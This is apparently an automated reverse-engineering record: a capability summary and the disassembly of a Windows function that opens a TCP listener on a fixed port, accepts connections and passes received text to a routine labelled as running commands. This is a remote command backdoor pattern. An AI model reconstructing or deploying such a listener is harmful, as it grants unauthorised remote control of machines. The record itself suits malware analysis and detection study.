Function at 0x140001ca0
Capabilities:
Initialize winsock library
Receive data
Receive data on socket

Disassembly:
sub rsp, 0x2a8
mov rax, qword [0x140007010]
xor rax, rsp
mov qword [rsp + 0x270], rax
mov ecx, 0x202
lea rdx, [rsp + 0x60]
call qword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
je 0x140001cde
lea rcx, str._TCP__Failed_to_initialize_WinSock._n
call fcn.140001050
jmp 0x140001fcd
xor r8d, r8d
mov qword [rsp + 0x2b0], rbx
mov ebx, 2
mov qword [rsp + 0x2c0], rsi
mov ecx, ebx
lea edx, [r8 + 1]
call qword [sym.imp.WS2_32.dll_socket]
mov rsi, rax
cmp rax, 0xffffffffffffffff
jne 0x140001d22
lea rcx, str._TCP__Failed_to_create_socket._n
call fcn.140001050
call qword [sym.imp.WS2_32.dll_WSACleanup]
jmp 0x140001fbd
mov ecx, 0x1733
mov word [rsp + 0x28], bx
call qword [sym.imp.WS2_32.dll_htons]
mov r8d, reloc.WS2_32.dll_recv
mov dword [rsp + 0x2c], 0
lea rdx, [rsp + 0x28]
mov word [rsp + 0x2a], ax
mov rcx, rsi
call qword [sym.imp.WS2_32.dll_bind]
test eax, eax
je 0x140001d77
lea rcx, str._TCP__Failed_to_bind_socket._n
call fcn.140001050
mov rcx, rsi
call qword [sym.imp.WS2_32.dll_closesocket]
call qword [sym.imp.WS2_32.dll_WSACleanup]
jmp 0x140001fbd
mov qword [rsp + 0x2b8], rbp
mov edx, 0x7fffffff
mov qword [rsp + 0x2c8], rdi
mov rcx, rsi
mov qword [rsp + 0x2a0], r12
mov qword [rsp + 0x298], r14
mov qword [rsp + 0x290], r15
movaps xmmword [rsp + 0x280], xmm6
call qword [sym.imp.WS2_32.dll_listen]
lea rcx, str._TCP__Waiting_for_a_connection..._n
call fcn.140001050
movsd xmm6, qword [0x140004b00]
movabs rbp, 0x311cdad160000
movabs r12, 0x7fffffffc46535fe
movabs r15, 0x7fffffffffffffff
movabs r14, 0x112e0be826d694b3
call qword [sym.imp.MSVCP140.dll__Query_perf_frequency]
mov rbx, rax
call qword [sym.imp.MSVCP140.dll__Query_perf_counter]
cmp rbx, 0x989680
jne 0x140001e0f
imul rax, rax, 0x64
jmp 0x140001e2d
cqo
idiv rbx
mov rcx, rax
imul rax, rdx, 0x3b9aca00
imul rcx, rcx, 0x3b9aca00
cqo
idiv rbx
add rax, rcx
lea rdi, [rax + 0x3b9aca00]
cmp rax, r12
jle 0x140001e40
mov rdi, r15
nop dword [rax]
call qword [sym.imp.MSVCP140.dll__Query_perf_frequency]
mov rbx, rax
call qword [sym.imp.MSVCP140.dll__Query_perf_counter]
cmp rbx, 0x989680
jne 0x140001e5e
imul rbx, rax, 0x64
jmp 0x140001e7f
cqo
idiv rbx
mov rcx, rax
imul rax, rdx, 0x3b9aca00
cqo
idiv rbx
mov rbx, rax
imul rax, rcx, 0x3b9aca00
add rbx, rax
cmp rdi, rbx
je 0x140001eeb
jl 0x140001eeb
call qword [sym.imp.MSVCP140.dll__Xtime_get_ticks]
imul rcx, rax, 0x64
xorps xmm0, xmm0
mov rax, rdi
sub rax, rbx
cvtsi2sd xmm0, rax
comisd xmm0, xmm6
jbe 0x140001ead
mov rax, rbp
lea r8, [rcx + rbp]
jmp 0x140001eb1
lea r8, [rcx + rax]
add rcx, rax
mov rax, r14
imul rcx
lea rcx, [rsp + 0x38]
sar rdx, 0x1a
mov rax, rdx
shr rax, 0x3f
add rdx, rax
imul eax, edx, 0x3b9aca00
mov qword [rsp + 0x38], rdx
sub r8d, eax
mov dword [rsp + 0x40], r8d
call qword [sym.imp.MSVCP140.dll__Thrd_sleep]
jmp 0x140001e40
lea r8, [rsp + 0x20]
mov dword [rsp + 0x20], reloc.WS2_32.dll_recv
lea rdx, [rsp + 0x48]
mov rcx, rsi
call qword [sym.imp.WS2_32.dll_accept]
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x140001f72
lea rcx, str._TCP__Connection_established._n
call fcn.140001050
xor r9d, r9d
lea rdx, [rsp + 0x200]
mov rcx, rbx
lea r8d, [r9 + 0x64]
call qword [sym.imp.WS2_32.dll_recv]
test eax, eax
jle 0x140001f64
cdqe
cmp rax, 0x64
jae 0x140001fea
lea rcx, str._TCP__Received_command._Running..._n
mov byte [rsp + rax + 0x200], 0
call fcn.140001050
lea rcx, [rsp + 0x200]
call fcn.140001b30
mov rcx, rbx
call qword [sym.imp.WS2_32.dll_closesocket]
jmp 0x140001df1
lea rcx, str._TCP__Failed_to_accept_connection._n
call fcn.140001050
mov rcx, rsi
call qword [sym.imp.WS2_32.dll_closesocket]
call qword [sym.imp.WS2_32.dll_WSACleanup]
mov r15, qword [rsp + 0x290]
mov r14, qword [rsp + 0x298]
mov r12, qword [rsp + 0x2a0]
mov rdi, qword [rsp + 0x2c8]
mov rbp, qword [rsp + 0x2b8]
movaps xmm6, xmmword [rsp + 0x280]
mov rbx, qword [rsp + 0x2b0]
mov rsi, qword [rsp + 0x2c0]
mov eax, 1
mov rcx, qword [rsp + 0x270]
xor rcx, rsp
call fcn.140002b70
add rsp, 0x2a8
ret
call fcn.140002c98
int3